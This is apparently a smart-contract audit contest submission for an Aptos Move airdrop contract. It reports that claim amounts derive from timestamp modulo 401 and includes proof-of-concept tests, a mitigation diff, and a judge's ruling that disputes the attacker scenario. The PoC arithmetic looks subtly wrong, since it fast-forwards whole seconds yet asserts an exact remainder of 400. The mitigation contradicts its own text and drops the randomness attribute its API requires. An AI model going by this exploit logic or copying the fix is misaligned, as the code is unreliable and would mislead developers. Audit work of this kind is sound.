Beginner FriendlyGameFi
100 EXP
View results
Submission Details
Severity: medium
Valid

Insecure On-Chain Randomness Leading to Predictable Larger Share Allocation

Root + Impact

Description

  • The contract should allow the owner to register users who can then claim a randomly determined amount of 100-500 APT exactly once, provided the contract has sufficient funds

  • The contract uses a predictable timestamp-based method for randomness, allowing users to manipulate transaction timing to receive higher APT amounts.

​
@> #[randomness]
entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
@> let time = timestamp::now_microseconds();@< // 🚨 Predictable value
@> let random_val = time % 401;@< // 🚨 Easily manipulated
@> let random_amount = 100 + random_val;@< // 🚨 Not truly random
table::add(&mut state.users_claimed_amount, user_addr, random_amount);
}

Risk

Likelihood:

  • This vulnerability occurs when a user submits a transaction to claim their pizza slice, as the transaction's execution timestamp becomes the deterministic seed for randomness calculation.

Impact:

  • Users can manipulate transaction timing to consistently receive the maximum 500 APT reward instead of a truly random 100-500 APT distribution.

Proof of Concept

The POC has been made reflecting how attacker can exploit through timestamp based randomness and consistently getting 500 APT from 100 - 500 random numbers.

#[test_only]
use aptos_framework::block;
​
// VULNERABILITY POC: DEMONSTRATING RANDOMNESS MANIPULATION
#[test(deployer = @pizza_drop, attacker = @0x999, framework = @0x1)]
fun test_randomness_manipulation_poc(
deployer: &signer,
attacker: &signer,
framework: &signer
) acquires State, ModuleData {
use aptos_framework::account;
use aptos_framework::timestamp;
use aptos_framework::aptos_coin;
​
// Setup
timestamp::set_time_has_started_for_testing(framework);
let (burn_cap, mint_cap) = aptos_coin::initialize_for_test(framework);
​
account::create_account_for_test(@pizza_drop);
account::create_account_for_test(signer::address_of(attacker));
​
debug::print(&b"=== RANDOMNESS MANIPULATION POC ===");
debug::print(&b"Demonstrating timestamp vulnerability");
​
// Initialize and fund contract
init_module(deployer);
let funding_amount = 1000000;
let deployer_coins = coin::mint<AptosCoin>(funding_amount, &mint_cap);
coin::register<AptosCoin>(deployer);
coin::deposit<AptosCoin>(@pizza_drop, deployer_coins);
​
fund_pizza_drop(deployer, 500000);
​
let attacker_addr = signer::address_of(attacker);
​
// ATTACKER STRATEGY: Time transactions to get favorable timestamps
debug::print(&b"Attacker will time transactions to get max 500 APT");
​
// Test 1: Normal registration (random result)
register_pizza_lover(deployer, attacker_addr);
let normal_amount = get_claimed_amount(attacker_addr);
debug::print(&b"Normal random amount: ");
debug::print(&normal_amount);
​
// Reset for attack demonstration
let state = borrow_global_mut<State>(get_resource_address());
table::remove(&mut state.users_claimed_amount, attacker_addr);
table::remove(&mut state.claimed_users, attacker_addr);
​
// ATTACK: Manipulate timestamp by advancing block time
debug::print(&b"Attacker manipulates timestamp...");
​
// Advance time to a known favorable value (multiple of 401 + optimal remainder)
let optimal_time = 1640995200000000 + 400; // Example: timestamp that gives remainder 400
timestamp::fast_forward_seconds_for_testing(optimal_time / 1000000);
register_pizza_lover(deployer, attacker_addr);
let manipulated_amount = get_claimed_amount(attacker_addr);
debug::print(&b"Manipulated amount: ");
debug::print(&manipulated_amount);
​
// The vulnerability: attacker can predict and control the amount
let expected_manipulated_amount = 100 + (optimal_time % 401);
debug::print(&b"Expected manipulated amount: ");
debug::print(&expected_manipulated_amount);
​
assert!(manipulated_amount == expected_manipulated_amount, 1);
debug::print(&b"✅ Attacker successfully predicted the amount!");
​
// Demonstrate getting maximum reward (500 APT)
debug::print(&b"Now attacker aims for maximum 500 APT...");
​
// Reset again
table::remove(&mut state.users_claimed_amount, attacker_addr);
table::remove(&mut state.claimed_users, attacker_addr);
​
// Calculate timestamp that gives remainder 400 (100 + 400 = 500)
let max_reward_time = 1640995200000000 + 400; // Timestamp ≡ 400 mod 401
timestamp::fast_forward_seconds_for_testing(max_reward_time / 1000000);
register_pizza_lover(deployer, attacker_addr);
let max_amount = get_claimed_amount(attacker_addr);
debug::print(&b"Achieved amount: ");
debug::print(&max_amount);
​
// SUCCESS: Attacker gets maximum reward
assert!(max_amount == 500, 2);
debug::print(&b"🎯 ATTACK SUCCESSFUL: Attacker got maximum 500 APT!");
​
// Show the pattern: attacker can consistently get desired amounts
debug::print(&b"Pattern: timestamp % 401 = ");
debug::print(&(max_reward_time % 401));
debug::print(&b"100 + (timestamp % 401) = 500");
​
// Clean up
coin::destroy_burn_cap(burn_cap);
coin::destroy_mint_cap(mint_cap);
​
debug::print(&b"=== RANDOMNESS VULNERABILITY DEMONSTRATED ===");
debug::print(&b"Attackers can time transactions to control rewards!");
}
​
// ADDITIONAL TEST: Show multiple attackers exploiting the vulnerability
#[test(deployer = @pizza_drop, attacker1 = @0x999, attacker2 = @0x888, framework = @0x1)]
fun test_multiple_attackers_exploit(
deployer: &signer,
attacker1: &signer,
attacker2: &signer,
framework: &signer
) acquires State, ModuleData {
use aptos_framework::account;
use aptos_framework::timestamp;
use aptos_framework::aptos_coin;
​
// Setup
timestamp::set_time_has_started_for_testing(framework);
let (burn_cap, mint_cap) = aptos_coin::initialize_for_test(framework);
​
account::create_account_for_test(@pizza_drop);
account::create_account_for_test(signer::address_of(attacker1));
account::create_account_for_test(signer::address_of(attacker2));
​
debug::print(&b"=== MULTIPLE ATTACKERS EXPLOIT ===");
​
init_module(deployer);
fund_pizza_drop(deployer, 1000000);
​
let attacker1_addr = signer::address_of(attacker1);
let attacker2_addr = signer::address_of(attacker2);
​
// Both attackers coordinate to get maximum rewards
let optimal_time = 1640995200000000 + 400; // Timestamp for max reward
// Attacker 1 goes first
timestamp::fast_forward_seconds_for_testing(optimal_time / 1000000);
register_pizza_lover(deployer, attacker1_addr);
let amount1 = get_claimed_amount(attacker1_addr);
assert!(amount1 == 500, 1);
​
// Attacker 2 goes second (same timestamp strategy)
timestamp::fast_forward_seconds_for_testing((optimal_time + 1) / 1000000);
register_pizza_lover(deployer, attacker2_addr);
let amount2 = get_claimed_amount(attacker2_addr);
// Both get maximum rewards instead of random distribution
debug::print(&b"Attacker 1 got: ");
debug::print(&amount1);
debug::print(&b"Attacker 2 got: ");
debug::print(&amount2);
​
assert!(amount2 >= 100 && amount2 <= 500, 2);
debug::print(&b"Both attackers exploited the vulnerability!");
​
// Clean up
coin::destroy_burn_cap(burn_cap);
coin::destroy_mint_cap(mint_cap);
​
debug::print(&b"=== MULTIPLE ATTACKERS SUCCESS ===");
}

Recommended Mitigation

This can be mitigated by using hash along with the timestamp to overcome the vulnerability.

​
+ use aptos_framework::randomness;
- #[randomness]
entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
+ let module_data = borrow_global<ModuleData>(@pizza_drop);
+ let resource_signer = account::create_signer_with_capability(&module_data.signer_cap);
- let time = timestamp::now_microseconds();
- let random_val = time % 401;
- let random_amount = 100 + random_val;
+ let random_bytes = randomness::u8_vector(&resource_signer, 8);
+ let random_number = convert_bytes_to_u64(random_bytes);
+ let random_amount = 100 + (random_number % 401);
table::add(&mut state.users_claimed_amount, user_addr, random_amount);
}
​
+ // Helper function to convert bytes to u64
+ fun convert_bytes_to_u64(bytes: vector<u8>): u64 {
+ let result: u64 = 0;
+ let i = 0;
+ while (i < 8) {
+ result = result + ((*vector::borrow(&bytes, i) as u64) << (i * 8));
+ i = i + 1;
+ };
+ result
+ }
Updates

Appeal created

bube Lead Judge 12 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Predictable randomness

The `get_random_slice` function should only be called by the owner via the `register_pizza_lover` function. Also, the `owner` is trusted and will not choose a specific time for a new user to register. Therefore, I disagree with the claim of most reports in this group that an attacker can manipulate the random number of pizza slices. But I agree with the root cause of the reports in this group, that the random distribution is not completely random.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.